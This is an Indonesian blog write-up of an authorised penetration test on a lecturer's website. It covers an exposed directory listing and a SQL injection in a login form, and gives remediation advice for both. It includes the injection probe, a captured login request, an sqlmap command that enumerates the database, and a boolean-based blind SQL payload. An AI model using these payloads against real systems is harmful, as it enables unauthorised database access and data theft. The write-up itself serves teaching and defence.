Berawal dari presentasi mengenai tugas besar salah satu mata kuliah. pada saat itu saya menerangkan mengenai sebuah analisis kerentanan Unrestricted File Upload dimana saat saya selesai melakukan presentasi, saya langsung diberikan sebuah challenge untuk melakukan pentest pada web milik dosen yang mengampu mata kuliah tersebut. Saya merasa senang-senang saja karena saya merasa itu juga menjadi sebuah pengakuan tersendiri mengenai kemampuan yang saya miliki.
Summary :
Ketika menulis writeup ini saya telah diberi izin untuk mempublikasikan hasil dari kegiatan penetration ini, sebagai privacy saya samarkan target website menjadi redacted.com. Ada beberapa kerentanan yang saya temukan mulai dari yang memiliki severity Low yang saya anggap informative hingga Critical yang berdampak serius pada target. Namun karena untuk meringkas writeup ini saya hanya menuliskan mengenai kerentanan yang memiliki severity High-Critical seperti SQL Injection dan Exposure of Information Through Directory Listing. Semoga tulisan saya ini bermanfaat bagi para pembaca.
Pembahasan : PoC (Piye om Carane)
Terlebih dahulu saya ingin mengkorfimasi bahwa kegiatan ini tidak sepenuhnya menggunakan metodologi penetration testing pada umumnya. pada saat information gathering pun saya tidak menggunakan automation tools apapun dikarenakan sistem yang yang saya uji ini tidak begitu kompleks. Hanya sebatas footprinting mengecek fitur-fitur pada umumnya pada sebuah website.
Setelah melalui beberapa prosedur seperti halnya footprinting, saya menemukan kerentanan pertama yang cukup menarik perhatian saya yaitu adanya Directory Listing yang active. bagi yang belum tau Directory Listing (Dirlisting) adalah fungsi server web yang menampilkan daftar semua file ketika tidak ada file indeks, seperti index.php, index.html dan default.asp dalam direktori situs web tertentu. Pada kasus ini saya menemukan sebuah url
Ketika pengguna mengakses url diatas tanpa menentukan nama file, server web akan memproses permintaan ini dan akan menampilkan file indeks untuk direktori itu dan situs web yang sebenarnya akan muncul. Namun, jika file indeks tidak ada, server web akan mengembalikan daftar isi direktori itu.
Daftar direktori itu sendiri belum tentu merupakan kerentanan keamanan. Namun, jika situs web tersebut gagal menerapkan kontrol akses yang tepat, membocorkan keberadaan dan lokasi sumber daya sensitif dengan cara ini jelas merupakan masalah bahkan bisa menjadi serius seperti pada kasus ini saya bisa melihat config dan berbagai soal kuis, penilaian, hingga jawaban yang nantinya bisa berimbas pada kecurangan seseorang/mahasiswa yang memperoleh informasi tersebut.
Dan setelah saya mencoba menghitung nilai CVSS dari kerentanan ini pun membuat saya cukup kaget, dimana kerentanan yang saya temukan ini mempunyai severity High dengan score 7.5, yang awalnya saya anggap tidak terlalu berarti.
Sebaga remidiasi mengenai kerenatan ini, ada beberapa cara mudah yang bisa dilakukan untuk menutup kerentanan ini :
- Membuat file index, jika direktori publik yang terdapat file index maka directory listing tidak akan terjadi alias tergantikan oleh konten dalam file index tersebut, file index tersebut bisa jadi diantaranya berupa index.php, index.html, index.aspx, dll.
- Membuat file .htaccess, kemudian tambahkan kode ini “Options -Indexes” tanpa tanda kutip, nantinya jika tidak ada file index, Maka permintaan user akan ditolak oleh server web.
Dan untuk yang kedua, kerentanan yang saya temukan adalah SQL Injection. Salah satau fitur yang saya sukai selain file upload yaitu form login, disinilah biasa nya kadang saya menemukan jenis kerentanan SQL Injection dimana ada beberapa parameter didalamnya. seperti pada redacted.com memiliki 3 params login yaitu username, password dan token.
Bagi kalian yang belum mengetahui SQL Injection merupakan teknik eksploitasi dengan cara memodifikasi perintah sql pada form input aplikasi yang memungkinkan penyerang untuk dapat mengirimkan sintaks ke database aplikasi. SQL Injection juga dapat didefinisikan sebagai teknik eksploitasi celah keamanan pada layer database untuk mendapatkan query data pada sebuah aplikasi.
Lanjut ke tahap exploitasi, ada dua url login yang memiliki kerentanan SQL Injection ini yaitu :
Pada parameter username tersebut saya menginjeksikan single quote “‘” dan mendapatkan respon http 500. Ketika saya berikan balance “–+-” setelah tanda “‘” menjadi “username’–+-” saya mendapatkan respon http 200.
Untuk mempercepat waktu, saya menggunakan SQLMap untuk memastikan apakah url tersebut memang vuln. Membuat file request.txt yang berisi POST request saat proses meminta masuk
POST /nilai/adm/act_login HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: id,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest
Content-Length: 48
Origin: https://redacted.com Connection: close
Referer: https://redacted.com/nilai/adm/login
Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2 260b7e8542d6b6275d8c37b14bf9924bf%22%3Bs%3A10%3A%22ip_address%22% 3Bs%3A11%3A%2236.68.53.43%22%3Bs%3A10%3A%22user_agent%22%3Bs%3 A78%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A96.0%29+Gecko%2F20100101+Firefox%2F96.0%22%3Bs%3A13%3A%22l
ast_activity%22%3Bi%3A1641194818%3Bs%3A9%3A%22user_data%22%3Bs%3 A0%3A%22%22%3B%7Dd163beb47b501a451d897b1dc59efc47fa3df6fe;
_ga=GA1.2.1657423763.1641190067; _gid=GA1.2.443582066.1641190067;
gads=ID=03173891b02026ee- 22813f13a2cf0063:T=1641190068:RT=1641190068:S=ALNI_MYxX3w9S6LGkaV
M26VsErTUezeUZw; ModalShown=yes; atuvc=2%7C1 Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
username=12312&password=123123&token=DevnetUTY21
Full Payload :
python3 sqlmap.py -r requests.txt --level=3 --risk=3 --dbs --current-user -- technique=BQUEST --threads=5 --proxy=http://127.0.0.1:8080 -D redacted_db --tables --common-tables --no-cast
Dan response nya :
---
Parameter: username (POST) Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=12312' RLIKE (SELECT (CASE WHEN (3167=3167) THEN 12312 ELSE 0x28 END)) AND
'xZok'='xZok&password=123123&token=DevnetUTY21
---
Result :
Kenapa ini bisa terjadi ? Simpelnya gini, web tersebut menggunakan Framework Codeigniter (CI) yang seharusnya sudah tidak memiliki kerentanan ini jikala si developer tersebut memenuhi struktur atau aturan yang benar dalam mem-build suatu website berbasis framework CI. Jadi Letak kesalahannya yaitu terdapat pada bagaimana developer web tersebut menuliskan syntax – syntax program yang tidak sesuai dengan yang telah di anjurkan oleh CI itu tadi.
Dan untuk remediasi, tidak menggunakan query native, tapi gunakanlah query yang berdasarkan dokumentasi CI itu sendiri. karena yangi saya tau Codeigniter menyediakan fungsi built-in dan pustaka untuk menghasilkan query SQL dengan menggunakan metode atau fungsi tersebut sehingga kita dapat menghindari SQL Injection yaitu Escaping Queries, Query Binding, Active Record Class.
Mungkin itu saja mengenai writeup ini, jika ada yang salah bisa dikoreksi yaa atau jika ada yang kurang bisa ditambahkan ya temen-temen. Dan juga saya ingin mencupkan terima kasih banyak kepada dosen saya yang telah mengapresiasi kegiatan pentest ini dengan memberikan sebuah gift dan semua ilmu yang diberikan beliau.